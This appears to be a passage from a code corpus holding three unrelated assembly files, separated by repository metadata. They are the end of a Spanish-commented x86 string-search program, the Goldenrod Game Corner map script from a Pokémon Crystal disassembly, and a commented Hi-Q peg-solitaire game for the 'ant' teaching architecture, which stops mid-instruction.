direccion un cero, lo que nos ; permitira movernos de izquierda a derecha, al incrementar ; automaticamente las direcciones de memoria al utilizar ; instrucciones de manejo de cadenas ciclo: scasb ; la instruccion scasb compara aun byte de la direccion de ; memoria destino con el valor del registro al, ; al hacer la comparacion aumenta en uno la direccion ; de memoria destino de forma automatica, esto debido a la ; instruccion cld je si_esta ; si el dato almacenado en el registro al y el ubicado en ; memoria son iguales la bandera de zero se coloca en uno ; la instruccion je lee este bit y si encuentra un uno ; realiza el salto a la etiqueta si_esta, de lo contrario ; no realiza ninguna accion loop ciclo mov eax, 4 mov ebx, 1 mov ecx, noencontrado mov edx, lennoenecontrado int 0x80 mov eax, 4 mov ebx, 1 mov ecx, ln mov edx, lenln int 0x80 jmp salir si_esta: mov eax, 4 mov ebx, 1 mov ecx, encontrado mov edx, lenencontrado int 0x80 mov eax, 4 mov ebx, 1 mov ecx, ln mov edx, lenln int 0x80 jmp salir error: ; Mostramos el mensaje de error mov eax, 4 mov ebx, 1 mov ecx, MsgError mov edx, lon int 80h salir: mov eax, 1 xor ebx,ebx int 0x80
maps/GoldenrodGameCorner.asm
genterz/pokecross
28
3809
<reponame>genterz/pokecross<gh_stars>10-100 GOLDENRODGAMECORNER_TM25_COINS EQU 5500 GOLDENRODGAMECORNER_TM14_COINS EQU 5500 GOLDENRODGAMECORNER_TM38_COINS EQU 5500 GOLDENRODGAMECORNER_ABRA_COINS EQU 100 GOLDENRODGAMECORNER_CUBONE_COINS EQU 800 GOLDENRODGAMECORNER_WOBBUFFET_COINS EQU 1500 object_const_def ; object_event constants const GOLDENRODGAMECORNER_CLERK const GOLDENRODGAMECORNER_RECEPTIONIST1 const GOLDENRODGAMECORNER_RECEPTIONIST2 const GOLDENRODGAMECORNER_PHARMACIST1 const GOLDENRODGAMECORNER_PHARMACIST2 const GOLDENRODGAMECORNER_POKEFAN_M1 const GOLDENRODGAMECORNER_COOLTRAINER_M const GOLDENRODGAMECORNER_POKEFAN_F const GOLDENRODGAMECORNER_COOLTRAINER_F const GOLDENRODGAMECORNER_GENTLEMAN const GOLDENRODGAMECORNER_POKEFAN_M2 const GOLDENRODGAMECORNER_MOVETUTOR GoldenrodGameCorner_MapScripts: db 0 ; scene scripts db 1 ; callbacks callback MAPCALLBACK_OBJECTS, .MoveTutor .MoveTutor: checkevent EVENT_BEAT_ELITE_FOUR iffalse .finish checkitem COIN_CASE iffalse .move_tutor_inside readvar VAR_WEEKDAY ifequal WEDNESDAY, .move_tutor_outside ifequal SATURDAY, .move_tutor_outside .move_tutor_inside appear GOLDENRODGAMECORNER_MOVETUTOR return .move_tutor_outside checkflag ENGINE_DAILY_MOVE_TUTOR iftrue .finish disappear GOLDENRODGAMECORNER_MOVETUTOR .finish return MoveTutorInsideScript: faceplayer opentext writetext MoveTutorInsideText waitbutton closetext turnobject GOLDENRODGAMECORNER_MOVETUTOR, RIGHT end GoldenrodGameCornerCoinVendorScript: jumpstd gamecornercoinvendor GoldenrodGameCornerTMVendorScript: faceplayer opentext writetext GoldenrodGameCornerPrizeVendorIntroText waitbutton checkitem COIN_CASE iffalse GoldenrodGameCornerPrizeVendor_NoCoinCaseScript writetext GoldenrodGameCornerPrizeVendorWhichPrizeText GoldenrodGameCornerTMVendor_LoopScript: special DisplayCoinCaseBalance loadmenu GoldenrodGameCornerTMVendorMenuHeader verticalmenu closewindow ifequal 1, .Thunder ifequal 2, .Blizzard ifequal 3, .FireBlast sjump GoldenrodGameCornerPrizeVendor_CancelPurchaseScript .Thunder: checkcoins GOLDENRODGAMECORNER_TM25_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript getitemname STRING_BUFFER_3, TM_THUNDER scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript giveitem TM_THUNDER iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript takecoins GOLDENRODGAMECORNER_TM25_COINS sjump GoldenrodGameCornerTMVendor_FinishScript .Blizzard: checkcoins GOLDENRODGAMECORNER_TM14_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript getitemname STRING_BUFFER_3, TM_BLIZZARD scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript giveitem TM_BLIZZARD iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript takecoins GOLDENRODGAMECORNER_TM14_COINS sjump GoldenrodGameCornerTMVendor_FinishScript .FireBlast: checkcoins GOLDENRODGAMECORNER_TM38_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript getitemname STRING_BUFFER_3, TM_FIRE_BLAST scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript giveitem TM_FIRE_BLAST iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript takecoins GOLDENRODGAMECORNER_TM38_COINS sjump GoldenrodGameCornerTMVendor_FinishScript GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript: writetext GoldenrodGameCornerPrizeVendorConfirmPrizeText yesorno end GoldenrodGameCornerTMVendor_FinishScript: waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton sjump GoldenrodGameCornerTMVendor_LoopScript GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript: writetext GoldenrodGameCornerPrizeVendorNeedMoreCoinsText waitbutton closetext end GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript: writetext GoldenrodGameCornerPrizeVendorNoMoreRoomText waitbutton closetext end GoldenrodGameCornerPrizeVendor_CancelPurchaseScript: writetext GoldenrodGameCornerPrizeVendorQuitText waitbutton closetext end GoldenrodGameCornerPrizeVendor_NoCoinCaseScript: writetext GoldenrodGameCornerPrizeVendorNoCoinCaseText waitbutton closetext end GoldenrodGameCornerTMVendorMenuHeader: db MENU_BACKUP_TILES ; flags menu_coords 0, 2, 15, TEXTBOX_Y - 1 dw .MenuData db 1 ; default option .MenuData: db STATICMENU_CURSOR ; flags db 4 ; items db "TM25 5500@" db "TM14 5500@" db "TM38 5500@" db "CANCEL@" GoldenrodGameCornerPrizeMonVendorScript: faceplayer opentext writetext GoldenrodGameCornerPrizeVendorIntroText waitbutton checkitem COIN_CASE iffalse GoldenrodGameCornerPrizeVendor_NoCoinCaseScript .loop writetext GoldenrodGameCornerPrizeVendorWhichPrizeText special DisplayCoinCaseBalance loadmenu .MenuHeader verticalmenu closewindow ifequal 1, .Abra ifequal 2, .Cubone ifequal 3, .Wobbuffet sjump GoldenrodGameCornerPrizeVendor_CancelPurchaseScript .Abra: checkcoins GOLDENRODGAMECORNER_ABRA_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript readvar VAR_PARTYCOUNT ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript getmonname STRING_BUFFER_3, ABRA scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton setval ABRA special GameCornerPrizeMonCheckDex givepoke ABRA, 5 takecoins GOLDENRODGAMECORNER_ABRA_COINS sjump .loop .Cubone: checkcoins GOLDENRODGAMECORNER_CUBONE_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript readvar VAR_PARTYCOUNT ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript getmonname STRING_BUFFER_3, CUBONE scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton setval CUBONE special GameCornerPrizeMonCheckDex givepoke CUBONE, 15 takecoins GOLDENRODGAMECORNER_CUBONE_COINS sjump .loop .Wobbuffet: checkcoins GOLDENRODGAMECORNER_WOBBUFFET_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript readvar VAR_PARTYCOUNT ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript getmonname STRING_BUFFER_3, WOBBUFFET scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton setval WOBBUFFET special GameCornerPrizeMonCheckDex givepoke WOBBUFFET, 15 takecoins GOLDENRODGAMECORNER_WOBBUFFET_COINS sjump .loop .MenuHeader: db MENU_BACKUP_TILES ; flags menu_coords 0, 2, 17, TEXTBOX_Y - 1 dw .MenuData db 1 ; default option .MenuData: db STATICMENU_CURSOR ; flags db 4 ; items db "ABRA 100@" db "CUBONE 800@" db "WOBBUFFET 1500@" db "CANCEL@" GoldenrodGameCornerPharmacistScript: faceplayer opentext writetext GoldenrodGameCornerPharmacistText waitbutton closetext turnobject LAST_TALKED, LEFT end GoldenrodGameCornerPokefanM1Script: faceplayer opentext writetext GoldenrodGameCornerPokefanM1Text waitbutton closetext turnobject GOLDENRODGAMECORNER_POKEFAN_M1, RIGHT end GoldenrodGameCornerCooltrainerMScript: faceplayer opentext writetext GoldenrodGameCornerCooltrainerMText waitbutton closetext turnobject GOLDENRODGAMECORNER_COOLTRAINER_M, LEFT end GoldenrodGameCornerPokefanFScript: faceplayer opentext writetext GoldenrodGameCornerPokefanFText waitbutton closetext turnobject GOLDENRODGAMECORNER_POKEFAN_F, RIGHT end GoldenrodGameCornerCooltrainerFScript: jumptextfaceplayer GoldenrodGameCornerCooltrainerFText GoldenrodGameCornerGentlemanScript: faceplayer opentext writetext GoldenrodGameCornerGentlemanText waitbutton closetext turnobject GOLDENRODGAMECORNER_GENTLEMAN, RIGHT end GoldenrodGameCornerPokefanM2Script: jumptextfaceplayer GoldenrodGameCornerPokefanM2Text GoldenrodGameCornerLeftTheirDrinkScript: jumptext GoldenrodGameCornerLeftTheirDrinkText GoldenrodGameCornerSlotsMachineScript: random 6 ifequal 0, GoldenrodGameCornerLuckySlotsMachineScript refreshscreen setval FALSE special SlotMachine closetext end GoldenrodGameCornerLuckySlotsMachineScript: refreshscreen setval TRUE special SlotMachine closetext end GoldenrodGameCornerCardFlipMachineScript: refreshscreen special CardFlip closetext end GoldenrodGameCornerPrizeVendorIntroText: text "Welcome!" para "We exchange your" line "game coins for" cont "fabulous prizes!" done GoldenrodGameCornerPrizeVendorWhichPrizeText: text "Which prize would" line "you like?" done GoldenrodGameCornerPrizeVendorConfirmPrizeText: text_ram wStringBuffer3 text "." line "Is that right?" done GoldenrodGameCornerPrizeVendorHereYouGoText: text "Here you go!" done GoldenrodGameCornerPrizeVendorNeedMoreCoinsText: text "Sorry! You need" line "more coins." done GoldenrodGameCornerPrizeVendorNoMoreRoomText: text "Sorry. You can't" line "carry any more." done GoldenrodGameCornerPrizeVendorQuitText: text "OK. Please save" line "your coins and" cont "come again!" done GoldenrodGameCornerPrizeVendorNoCoinCaseText: text "Oh? You don't have" line "a COIN CASE." done GoldenrodGameCornerPharmacistText: text "I always play this" line "slot machine. It" para "pays out more than" line "others, I think." done GoldenrodGameCornerPokefanM1Text: text "I just love this" line "new slot machine." para "It's more of a" line "challenge than the" cont "ones in CELADON." done GoldenrodGameCornerCooltrainerMText: text "Life is a gamble." line "I'm going to flip" cont "cards till I drop!" done GoldenrodGameCornerPokefanFText: text "Card flip…" para "I prefer it over" line "the slots because" para "it's easier to" line "figure the odds." para "But the payout is" line "much lower." done GoldenrodGameCornerCooltrainerFText: text "I won't quit until" line "I win!" done GoldenrodGameCornerGentlemanText: text "I taught BLIZZARD" line "to my #MON." para "It was hard to get" line "enough coins for" para "it, but it was" line "worth it." done GoldenrodGameCornerPokefanM2Text: text "I couldn't win at" line "the slots, and I" para "blew it on card" line "flipping…" para "I got so furious," line "I tossed out my" para "COIN CASE in the" line "UNDERGROUND." done MoveTutorInsideText: text "Wahahah! The coins" line "keep rolling in!" done GoldenrodGameCornerLeftTheirDrinkText: text "Someone left their" line "drink." para "It smells sweet." done GoldenrodGameCorner_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 2, 13, GOLDENROD_CITY, 10 warp_event 3, 13, GOLDENROD_CITY, 10 db 0 ; coord events db 31 ; bg events bg_event 6, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 7, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 11, BGEVENT_RIGHT, GoldenrodGameCornerSlotsMachineScript bg_event 7, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 7, BGEVENT_READ, GoldenrodGameCornerLuckySlotsMachineScript bg_event 7, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 11, BGEVENT_LEFT, GoldenrodGameCornerSlotsMachineScript bg_event 12, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 7, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 11, BGEVENT_RIGHT, GoldenrodGameCornerSlotsMachineScript bg_event 13, 6, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 7, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 8, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 9, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 10, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 11, BGEVENT_LEFT, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 6, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 7, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 8, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 9, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 10, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 11, BGEVENT_RIGHT, GoldenrodGameCornerCardFlipMachineScript bg_event 12, 1, BGEVENT_LEFT, GoldenrodGameCornerLeftTheirDrinkScript db 12 ; object events object_event 3, 2, SPRITE_CLERK, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCoinVendorScript, -1 object_event 16, 2, SPRITE_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerTMVendorScript, -1 object_event 18, 2, SPRITE_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPrizeMonVendorScript, -1 object_event 8, 7, SPRITE_PHARMACIST, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, DAY, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPharmacistScript, -1 object_event 8, 7, SPRITE_PHARMACIST, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, NITE, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPharmacistScript, -1 object_event 11, 10, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanM1Script, -1 object_event 14, 8, SPRITE_COOLTRAINER_M, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCooltrainerMScript, -1 object_event 17, 6, SPRITE_POKEFAN_F, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanFScript, -1 object_event 10, 3, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_WANDER, 2, 1, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCooltrainerFScript, -1 object_event 5, 10, SPRITE_GENTLEMAN, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerGentlemanScript, -1 object_event 2, 9, SPRITE_POKEFAN_M, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanM2Script, -1 object_event 17, 10, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, MoveTutorInsideScript, EVENT_GOLDENROD_GAME_CORNER_MOVE_TUTOR
Documentation/Code/hi-q.asm
geoffthorpe/ant-architecture
0
99712
# stsamuel - 10/17/97 # hi-q in ant # overall algorithm: # init_board # while (1) { # draw_board # possible_moves # get_input # if (is_legal_move) # make_move # } # constants - stylistically, shd load them from memory # and they are actually in .byte in case we had more instructions # available # lc r10, $bound2 # ld1 r10, r10, 0 # lc r11, $bound1 # ld1 r11, r11, 0 # lc r12, $max_len # ld1 r12, r12, 0 # lc r13, $space # ld1 r13, r13, 0 # lc r14, $peg # ld1 r14, r14, 0 # lc r15, $hole # ld1 r15, r15, 0 # but had to do direct lc's because we had instruction overflow lc r10, 4 # bound2 - 1, needed bec we only have bgt lc r11, 1 # bound1 lc r12, 7 # board max_len lc r13, ' ' # space lc r14, '*' # peg lc r15, 'o' # hole # init board in memory, 7x7 array # basic algorithm: # for (i=0;i<max_len;i++) # for (j=0;j<max_len;j++) # if (i>bound1 && (i<bound2)) # load_peg # else if (j>bound1 && (j<bound2)) # load_peg # else load_space # load_hole lc r2, 0 # init row ctr (i) lc r3, 0 # init col ctr (j) lc r4, $load_peg # load peg into current cell lc r5, $load_space # load space into current cell lc r6, $load_hole # finish of init_board, load hole into ctr lc r8, $bound2_col_test # check if col >= bound2 lc r9, $inc_row # increment row number (& reset j to 0) init_loop: beq r6, r12, r2 # if row == len, end, load hole lc r7, $bound2_row_test bgt r7, r2, r11 # if row > boundary, test for row < bound2 init_col_test: bgt r8, r3, r11 # if col > bound, test for < bound2 load_space: # r7 = scratch reg for calculating memory index mul r7, r2, r12 # array index == i*len + j add r7, r7, r3 st1 r13, r7, 0 # put space into mem addr of r7 jmp $inc_col # increment j bound2_col_test: bgt r5, r3, r10 # if col > bound2 - 1, then we want a space jmp $load_peg # otherwise, load a peg bound2_row_test: lc r7, $init_col_test bgt r7, r2, r10 # if row > bound2 - 1, then test the col jmp $load_peg load_peg: # r7 = scratch reg for calculating memory index mul r7, r2, r12 # array index == i*len + j add r7, r7, r3 st1 r14, r7, 0 # put peg jmp $inc_col # inc ctr inc_col: inc r3, 1 # j++ lc r9, $inc_row beq r9, r3, r12 # if j==len, inc_row and reset j jmp $init_loop inc_row: inc r2, 1 # i++ lc r3, 0 # j=0 jmp $init_loop load_hole: # r3 holds 2 for division to get middle point of board # r4 = middle point # r5 = index into array for center point lc r3, 2 div r4, r12, r3 # get middle point mul r5, r4, r12 # array index == i*len + j add r5, r5, r4 st1 r15, r5, 0 # put hole in center # main loop loop: # draw board # algorithm: # quick loop to draw top line of numbers # init counters and labels # for (i=0;i<max_len;i++) { # printf ("%d ", i); # for (j=0;j<max_len;j++) # printf ("%c ", board[i][j]); # printf ("%d ", i); # printf ("\n"); # } # another loop to draw bottom line of numbers lc r2, 0 # i lc r3, $top_draw_loop sys r13, 3 # print two spaces to start line sys r13, 3 lc r5, '0' # load ascii constant for 0 top_draw_loop: add r4, r2, r5 # get ASCII num for i sys r4, 3 # draw col num sys r13, 3 # then a space inc r2, 1 # i++ bgt r3, r12, r2 # repeat loop while (len>i) lc r7, '\n' sys r7, 3 # init ctrs # start first line with "0 " lc r2, '0' sys r2, 3 sys r13, 3 lc r2, 0 # i, row ctr lc r3, 0 # j, col ctr lc r4, $bottom_draw_loop_init lc r8, $inc_d_row draw_loop: mul r5, r2, r12 # get array index add r5, r5, r3 ld1 r5, r5, 0 # load char from array sys r5, 3 # print char sys r13, 3 # print space inc r3, 1 # j++ beq r8, r3, r12 # if col==len, inc row and reset col jmp $draw_loop inc_d_row: # print index num for this row lc r5, '0' add r5, r5, r2 # get ASCII num for current row sys r5, 3 # print the number sys r7, 3 # print newline at end of col # then print index number for next row and a space inc r2, 1 # i++ beq r4, r2, r12 # if row==len, move onto getting coords lc r5, '0' add r5, r5, r2 # get ASCII num for new row sys r5, 3 # print number sys r13, 3 # print space lc r3, 0 # j=0 jmp $draw_loop # quick loop to draw bottom line of nums bottom_draw_loop_init: lc r2, 0 # i lc r3, $bottom_draw_loop sys r13, 3 # print two spaces to start line sys r13, 3 lc r5, '0' bottom_draw_loop: add r4, r2, r5 # get ASCII num for i sys r4, 3 # draw col num sys r13, 3 # then a space inc r2, 1 # i++ bgt r3, r12, r2 # repeat loop while (len>i) lc r7, '\n' sys r7, 3 # check for stalemate or win # use a simple algorithm: loop over array w/o bothering to exclude # out of bounds. check for is_legal_move on each of the # four potential landing spots (let is_legal_move sort out if the landing # spot is not on the array). only concession to efficiency - if first # check tells us that the current cell is not a peg, skip directly # to next spot in array. # note that we don't stash r4 and r5 by taking advantage of the # fact that is_legal_move never modifies them # note that for each of the four tests we re-use the check_move # portion which actually does the work and then calls is_legal_move. # how does check_move know where to return when it's done if it is # jumped to from four different places? use a register which contains # the appropriate PC to jump back to when it is done, which we can # vary from each of the four entry points to check_move before jumping # to check_move. the register used is r8. # note we do the same thing when jumping to is_legal_move, except # that we use r3 to hold the return address possible_moves: lc r4, 0 # i=0 lc r5, 0 # j=0 lc r10, 0 # num pegs on board # we don't need r10 after initialization of bd, so use it as counter # for number of pegs - if one peg, we get a win rather than stalemate pm_loop: # test1 lc r6, 2 # row offset for test1 lc r7, 0 # col offset for test1 lc r8, $cm_test2 # return addr for check_move is next test, test2 check_move: lc r9, $cm_ra # get mem addr for cm_ra st1 r8, r9, 0 # store return address bec otherwise is_legal_move # will clobber it add r6, r6, r4 # generate to_row by adding from_row to offset add r7, r7, r5 # generate to_col by adding from_col to offset lc r3, 2 # WARNING - semi-hack: # store return address in r3, we get this by executing a guaranteed # to fail branch in order to get the PC into r1 beq r6, r0, r3 # always fails, hack to get PC into r1 # why PC+2? because this add is == PC, but we want to come back to # the instruction after the jmp, which will move on with the code, # therefore PC+2 add r3, r1, r3 # set return addr # r2 = return value (0 or 1) indicating legality of move # NOTE - 0 INDICATES SUCCESS, NOT FAILURE, OF MOVE # THIS IS BECAUSE DIFFERENT POSITIVE VALUES WILL INDICATE # DIFFERENT TYPES OF FAILURE jmp $is_legal_move lc r8, $pm_inc lc r3, 2 # return code for non-peg in "from" beq r8, r3, r2 # if "from" not peg, then skip rest of comps and inc lc r8, $get_coords beq r8, r0, r2 # if successful, no stalemate, keep playing # recover return addr of check_move from memory lc r8, $cm_ra ld1 r8, r8, 0 beq r8, r0, r0 # jmp to return addr cm_test2: inc r10, 1 # if we got here, there is a peg in this index lc r6, -2 # row offset lc r7, 0 # col offset lc r8, $cm_test3 jmp $check_move cm_test3: lc r6, 0 # row offset lc r7, 2 # col offset lc r8, $cm_test4 jmp $check_move cm_test4: lc r6, 0 # row offset lc r7, -2 # col offset lc r8, $pm_inc jmp $check_move pm_inc: inc r5, 1 # j++ lc r9, $pm_inc_row beq r9, r12, r5 # if j==max, then inc row jmp $pm_loop pm_inc_row: inc r4, 1 # i++ lc r3, $stalemate beq r3, r4, r12 # if we got to end without a move, then stalemate lc r5, 0 # j=0 jmp $pm_loop get_coords: lc r4, '\n' # print newline sys r4, 3 lc r4, $fr # print from_row prompt sys r4, 4 sys r4, 5 # get from_row lc r5, $fc # print from_col prompt sys r5, 4 sys r5, 5 # get from_col lc r6, -1 lc r7, $check_col beq r7, r4, r6 # if row == -1, also check for col == -1 c_get_coords: lc r6, $tr # print to_row prompt sys r6, 4 sys r6, 5 # get to_row lc r7, $tc # print to_col prompt sys r7, 4 sys r7, 5 # get to_col lc r8, '\n' sys r8, 3 # print newline # now, call is_legal_move and if move is legal, make_move # WARNING - semi-hack: # store return address in r3, we get this by executing a guaranteed # to fail branch in order to get the PC into r1 lc r2, 2 beq r2, r2, r0 # will always fail add r3, r1, r2 # stash PC+2 (return address) in r3 # why PC+2? because this add is == PC, but we want to come back to # the instruction after the jmp, which will move on with the code, # therefore PC+2 jmp $is_legal_move # r8 = return value holding index of "center" cell of move # r2 = return value indicating success of move (0 for success) lc r3, 0 lc r9, $make_move beq r9, r2, r3 # if move legal, then make move jmp $not_legal # else illegal move check_col: lc r7, $exit beq r7, r5, r6 # if col also == -1, exit jmp $c_get_coords # are the four coords inside the array bounds? # if 0 > coord or coord > len-1, then coord out of bounds # args: r3 = return addr # r4 = from row # r5 = from col # r6 = to row # r7 = to col # note r2 is return value, so must hold correct val before returning # return codes: # 0 = legal # 1 = illegal coords (either out of bounds, or "to" wrong dist from "from" # 2 = "from" not a peg # 3 = "to" not a hole # 4 = "center" not a peg is_legal_move: # check that peg is in "from" cell, must make this check first! # (because of way peg counting is done in possible_moves) # if it's a hole, then illegal # r9 = array index of from cell mul r9, r4, r12 # get from index == i*len + j add r9, r9, r5 ld1 r9, r9, 0 # get the char lc r2, 2 # load failure code for "from" != peg beq r3, r9, r15 # if "from" cell == hole, then illegal beq r3, r9, r13 # if char == space, move is illegal, return # now check for everything else lc r2, 1 # if any of these eval to false, must return 1 lc r9, 1 sub r9, r12, r9 # get max_len - 1 bgt r3, r0, r4 # check from_row > -1 bgt r3, r4, r9 # check from_row < max_len bgt r3, r0, r5 # check from_col > -1 bgt r3, r5, r9 # check from_row < max_len bgt r3, r0, r6 # check to_row > -1 bgt r3, r6, r9 # check to_row < max_len bgt r3, r0, r7 # check to_col > -1 bgt r3, r4, r9 # check to_col < max_len # if "to" cell == space , then move is illegal mul r9, r6, r12 # get from index == i*len + j add r9, r9, r7 ld1 r9, r9, 0 # get the char lc r2, 3 # failure return code beq r3, r9, r13 # if char == space, move is illegal # check that either abs(to_row - from_row) = 2 && abs(to_col - from_col) == 0 # or vice versa - this checks that "to" cell is two spots away in one of # the four cardinal directions # note, we're re-using constant r11 which is no longer needed sub r11, r4, r6 # r8 = from_row - to_row lc r9, $col_zero lc r8, 2 lc r2, 1 beq r9, r11, r8 # if row diff == 2, then check col diff == 0 lc r8, -2 beq r9, r11, r8 # if row diff == -2, then check col diff == 0 lc r9, $col_two beq r9, r11, r0 # if row diff == 0, then check col diff == 2 or -2 beq r3, r0, r0 # move is illegal, return # check that col diff == 0 (row diff known to be +/- 2) col_zero: lc r9, $legal_chars sub r2, r5, r7 # r2 = from_col - to_col beq r9, r0, r2 # if col diff == 0, then legal lc r2, 1 beq r3, r0, r0 # move is illegal, return # check that col diff == 2 or -2 (row diff known to be zero) col_two: lc r9, $legal_chars sub r2, r5, r7 # r2 = from_col - to_col lc r8, 2 beq r9, r8, r2 # if col diff == 2, then legal lc r8, -2 beq r9, r8, r2 # if col diff == -2, then legal lc r2, 1 beq r3, r0, r0 # move is illegal, return # now, check other correct chars: peg in 'middle' cell and hole in "to" cell # note that in the following checks i take advantage of the fact # that both cells are known to be in bounds, and therefore can # only contain a peg or a hole legal_chars: # check that hole is in "to" cell # r9 = array index of "to" cell mul r9, r6, r12 # get from index == i*len + j add r9, r9, r7 ld1 r9, r9, 0 # get the char lc r2, 3 beq r3, r9, r14 # if "to" cell == peg, then illegal # get coords of center cell and check that it's a peg sub r2, r4, r6 # r2 = from_row - to_row lc r9, -2 div r2, r2, r9 # r2 = diff / -2, is proper row offset from "from" cell sub r8, r5, r7 # r8 = from_col - to_col div r8, r8, r9 # same thing for col offset add r2, r2, r4 # row coord for center cell add r9, r8, r5 # col coord for center cell # r8 = array index of from cell mul r8, r2, r12 # get from index == i*len + j add r8, r8, r9 ld1 r9, r8, 0 # get the char lc r2, 4 # load failure code for center cell beq r3, r9, r15 # if "center" cell == hole, then illegal lc r2, 0 # load success code beq r3, r0, r0 # move is legal, return not_legal: lc r9, $illegal sys r9, 4 # print illegal move msg jmp $loop # make the move # r8 still holds index of center, so make it a hole make_move: st1 r15, r8, 0 # put hole in "center" cell # r2 = array index of from cell mul r2, r4, r12 # get from index == i*len + j add r2, r2, r5 st1 r15, r2, 0 # put hole in from cell # r2 = array index of "to" cell mul r2, r6, r12 # get from index == i*len + j add r2, r2, r7 st1 r14, r2, 0 # put peg in "to" cell jmp $loop stalemate: lc r2, 